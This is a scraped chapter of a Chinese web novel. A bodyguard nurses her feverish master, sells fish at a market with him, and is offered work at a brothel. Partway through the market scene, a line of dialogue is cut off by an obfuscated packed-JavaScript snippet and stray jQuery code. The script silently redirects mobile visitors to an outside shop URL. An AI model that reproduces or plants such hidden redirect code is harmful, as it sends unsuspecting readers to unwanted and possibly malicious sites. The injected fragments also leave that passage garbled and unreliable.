文趣网 > 都市小说 > 跑得快就能当暗卫吗? > 2. 卖鱼
    江木知随口应了一句,手里继续忙活着锅中药。

    啪嗒一声,什么东西掉落了。她转头就看见沈澹秋欺身床榻边,伸手够着地上湿得不成样的账本。

    墨色长发如瀑而下,遮住半边苍白容颜。

    她实在看不下去,利落得捡起湿哒哒的书本:“书湿了,我去放到灶边烤一下。”

    转身一瞬间,一只炙热的手擒住自己手腕,她不解回头。

    下一秒,柔弱无力的沈澹秋,突然使上劲抓着自己手,唇齿微张——

    一股温热潮湿,缠绕指尖。

    江木知如雷轰顶,瞬间僵硬在原地,指尖触感逐渐清晰。她仓皇抽出手,“不是,你别发烧返璞归真把我手当奶嘴啊?”

    怎么会有人,发了烧是嘬手指?

    “影七……,取我药来,”沈澹秋强撑的身子,在说完这句之后,神志彻底迷惘。

    “烧得这么严重?把药喝了来。”江木知不知所措,只能端着黑乎乎的药汤来。

    奈何在江木知手抽走的那一刻,沈澹秋像被抽走力气般,身子绵软无力,仿佛柔软无骨,只能倚靠着喝药。

    这时长发被江木知挽起,露出清晰面容。

    眼神迷离,面色绯红。

    江木知默默咽了口口水,这眼下情况怎么看怎么怪异,她强装镇定着往对方嘴里灌药。

    半碗药,沈澹秋喝一口吐一口,不知道是药没用,还是喝得不够,身子依旧烫人。

    江木知放下碗,顾不得那么多了,再不给他降温不行,会烧成智障的。

    她只能采用最原始的方法,用干净巾布沾着清水,给沈澹秋擦拭身子散热。谁料这时沈澹秋力气却大起来,如游蛇般攀上自己,肌肤紧密相贴。

    她欲哭无泪的攥着毛巾,像挪动身子却不方便使劲,此刻是真想一抹布盖对方脸上闷死好了。

    不知道降温法子起效了,还是她这人形冰块管用,沈澹秋唇间偶尔舒缓呢喃,身上滚烫也消退许多,后半夜倒也消停,就维持着这个姿势入眠。

    好在后面几日沈澹秋没有再干出其他出格事,江木知就白天上山采药、做饭、洗衣,晚上守在床边换冷毛巾、喂水、擦身子。她之前从来没照顾过任何人,做得笨手笨脚,煮的粥糊了三次,好在烧迷糊的沈澹秋“毫无怨言”都吃完了。

    第三天清晨,沈澹秋退了烧,睁开眼睛,看到的第一幕是江木知趴在地上睡着的画面。

    阳光从破窗户照进来,错落分明地落在江木知的脸上。阳光清晰勾勒她的容颜,纤长的睫毛在眼下投下阴影,她五官线条清晰俊秀,不似一般姑娘娇柔,也没有显得可爱的腴肥颊肉,好像就像一颗孤独的边缘带着些利刃的龙牙草。

    沈澹秋意识到自己好像从来没有仔细看过自己身边这位,排号最末最不打眼的暗卫。

    只是这会江木知睡着的时候,嘴巴微微张着,嘴角还有干涸的口水印子,看起来憨蠢得要命。

    但沈澹秋盯着她看了很久,不知在想些什么。

    最后也只是伸出手,将架子上四仰八叉的账本取下,静卧在床上缓缓翻着这唯一的线索。

    地上的江木知翻了个身,阳光刺眼,她逐渐清醒,看见床上久卧不起的病秧子直起了身,睡意了无,“你终于好了?”

    “这几日有劳你了。”沈澹秋温声回应,由上而下俯视着江木知,没有多犹豫直接说道,“地上不舒服,你可以上来睡。”

    以为江木知只是碍于礼节不愿上榻,便起身让出床。

    江木知只是搓了搓眼睛,伸个懒腰从地上爬起,摆手拒绝:“不要,热死个人,地上凉快。”

    “……”沈澹秋。

    看着沈澹秋的身体好转,能下床走动了。江木知倒是松了口气,只是并没有悠哉太久,开始考虑现实问题。

    银子花光了,讨来的米见底了,再不想办法就要饿死了。

    于是,她计划去河边捉鱼,捉了吃,吃不完的拿去卖。

    刚来到河边,她就愣住了。

    水中的倒影分明是自己之前的脸。

    她不禁倒吸一口凉气。

    “难道我长得就很适合炮灰暗卫?”江木知搓着下巴,揣摩疑惑。

    “我并未把你当炮灰,”沈澹秋脚步停在一旁轻声安慰,“暗卫鲜少露面,以前不知你竟这般活泼。”

    “可能是生死走一遭,看透了。”江木知怕说多错多让对方怀疑,只得简略解释。但安稳的日子来之不易,虽是谎话,但也是真心,“我上次可能伤到头了,记忆不太全。武功尽失,最多跑得快点,公子若是复仇,只怕还需用新暗卫。”

    “影七想走?”沈澹秋目光平静,好像看透了她的想法。

    江木知却不知怎么解释,自己确实不是忠诚护主的暗卫影七,要不是那忠诚蛊,恐怕自己昨日就跑路了。

    “影阁影卫出生起便种下过忠诚蛊,待我回京,你解了蛊就走吧,只是……”沈澹秋话锋一转,语气有些让人不容置疑,“我知复仇九死一生,我不愿他人性命再为我浪费。若我失败,你可否帮我收尸?”

    话题变得沉重,江木知很不喜欢这种没有生机的话,转头“呸呸呸”。

    “别老说这种不吉利的话,天天就是活不活,死不死。”她扭头往河里一跳,“薪水照付就行,虽然我知道你现在半粒银子都摸不出,就当你欠我了,沈大公子别忘了写个欠条。”

    水花扑通,这哪是捉鱼,分明是鱼雷。

    “以后你要是拖欠我工资!我就收了你尸,丢河里喂鱼。”江木知头也不回。

    岸上人没再回应,嘴角却已然微微勾起。

    江木知下河摸鱼,可惜想法是很美好的,现实是很骨感的,折腾半天一条都没抓到,气得骂骂咧咧。同个村里跑出来捉鱼的小孩,都背着一箩筐小鱼。

    她看着这个还没自己腰高的豆芽菜,都有这一箩筐的战绩,心里非常不平衡。

    沈澹秋坐在岸边看着,忍俊不禁:“你以前不是最擅长抓鱼吗?”

    “……那是以前,现在我退步了。”赤脚站在河边的江木知有些心虚,但沈澹秋也没多言,似乎很好糊弄过去。

    最后还是小孩教她用竹篓子捕鱼,才总算有了口粮。今日再去镇上卖鱼,已然是有些晚,江木知只能多捕些,明天再上镇。

    隔日,江木知一早就醒了,不用半夜照顾病号,睡得舒服,起得也早,几乎恢复了她之前的正常作息。她找村长问了个路,捞上背篓准备出发。

    “我去卖鱼!”江木知也不管沈澹秋有没有听到,就像上班打个卡一样,下一刻,沈澹秋安安静静的走到她旁边。

    江木知回头吓一大跳。她倒也没推脱,沈公子长得不差,说不定卖鱼还能早点卖完。

    她实在是没把沈澹秋当个正牌领导,毕竟对方还有多少银子,可是被自己摸得一清二楚。

    路上,沈澹秋告诉她沈家在江南各地都有家产,自己每年都要回乡,不只是养病,还要回去取药。

    想到这,江木知不禁回想起沈澹秋那副病弱不能自理的样子,叹息着为他感到惋惜。

    白瞎这么好身段,可惜是个病秧子。

    但比起为他惋惜,江木知更为自己开心,这意味着——

    沈澹秋靠着剩余家产,真能给自己发得起工资!

    那得封沈澹秋为正牌上司了。

    青石村离最近的镇子不算太远,二人很快就到了热闹的集市,来得早不少铺面才刚开门。

    二人找了个不错的位置,箩筐一甩,摆在地上。

    “卖鱼!”江木知丝毫不社恐,第一次摆摊就铆足了劲,“新鲜刚宰的草鱼!纯天然无污染,自己下河捞的!”

    人来人往,却没多少人为她的叫卖驻足留步,留下最多的可能也就是怪异的眼光。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948315|214100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这可能是个傻子……”

    “有可能,嘴里半句胡话半句好话。”

    偶然有人窃窃私语说些小话,然后在江木知热情捧着鱼上来推销时,对方又会像是怕沾到晦气一样跑得飞快。

    画风非常诡异,像极了江木知拿着草鱼在疏散人群。

    她失落蹲在箩筐旁边,耷拉着脸,叫卖声也越来越小。

    “死鱼不好卖,集市有鱼铺,大家都会去买活鱼。”一旁铺子的老板娘好心地提醒几句,瞧着摆鱼小伙样貌俊俏,不忍多说两句,“你们是……兄妹?”

    兄妹?

    江木知眼珠圆溜溜一转,脑子里有了想法。

    “是啊!大娘,我哥从小体弱多病,为了换钱给我哥买药,我才出来卖鱼的!”江木知边说边嚎啕,扑过去抱着自己的“大哥”沈澹秋,佯装要哭实则抓着两把灰抹眼泪,把自己搓得惨兮兮的,“大哥啊!阿妹无用,虽然你身弱不行,以后指不定也娶不到媳妇变成孤寡老头,但阿妹我一定不会抛弃你的,我卖鱼卖鸟卖菜都会给你买药养你的!”

    江木知哭嚎着还伸手要给沈澹秋脸上来几笔,想给对方也画个凄惨样。沈澹秋灵活避开,他入戏极快,手握拳伏在嘴边轻咳,转过身咳嗽就躲过了江木知灰爪子。

    “咳、咳……我的妹妹,小时候烧坏脑子,虽说话风言风语,行事乖张,但本性不坏,”沈澹秋佯装虚弱,边咳边说。

    二人一出戏,惹得路人驻足。

    “哎,一个傻子一个病秧子,太可怜了。”

    “是啊是啊,买一条吧。这孩子不容易。”

    ……

    疏散开的人群聚集到江木知摊位边,这里民风淳朴,百姓心地善良,于是一筐鱼很快就卖完了,她也不黑心,不是活鱼都低价卖的。

    准备收摊子走人,一身衣着华丽的女子停留在空着的箩筐前。

    江木知摆手:“感谢姑娘支持,但是卖完了。”

    “我不是来买鱼的,”女子缓缓开口,嗓音柔美婉转,抬手伸出一只造型别致的金属令牌,腕间的叮当镯随着动作微微作响,清脆悦耳,“我瞧着你哥样貌不凡,可有意来我们雨春楼?”

    “做啥?”江木知疑惑,难道是BOSS直聘,“工资多少,你觉得我怎么样?”

    头发乱糟糟,脸上抹灰的小黑人,凑到光鲜亮丽的女子跟前,唯独那一双水亮的眼睛眨巴眨巴。

    她看不到的地方,沈澹秋在后无奈扶额低笑。

    “一般姑娘心气直,不愿来雨春楼,便没询问,是我失礼了。”女子莞尔一笑,手比了个数,“月钱底薪这个数,若有意二位都可来。”

    江木知瞪大了眼!立马收下令牌,塞给沈澹秋,“这么多!哥,你可要拿下。”

    然后凑到他耳边说,“钱多了,别忘了给我分点。”

    沈澹秋倒没什么表情,垂眸揣摩了一下令牌,不咸不淡道:“雨春楼竟会上街招人。”

    “若不上街,怎见如此俊俏的二位,此刻只惋惜是我来得迟了,”女子见沈澹秋收下令牌,笑容不减,敲了敲空箩筐,转身走之前留下一句,“望公子好好考虑,雨春楼等你。”

    江木知还沉浸在被当街直聘高薪工作的喜悦,谁曾想一转头就对上隔壁铺子大妈惊恐的表情。

    “孩子,你……你们莫要走上弯路。”大妈神色踌躇,语重心长劝阻。

    “这雨春楼是做什的?”

    大妈连叹三口气,“烟花巷柳莫要碰啊,小姑娘你是个好人家,不要去做这轻贱行当。”

    江木知愣住,回过神来沈澹秋早就起身离开,她只得和大妈道个谢,赶忙拎起箩筐跟上。

    “沈澹秋,你可理智一点啊!”江木知跑在后头,速度不慢,嗓门不小。

    现在丢掉令牌还来得及吗?

    正式上班第一天,把春楼发的offer丢给领导,还对领导说要好好做……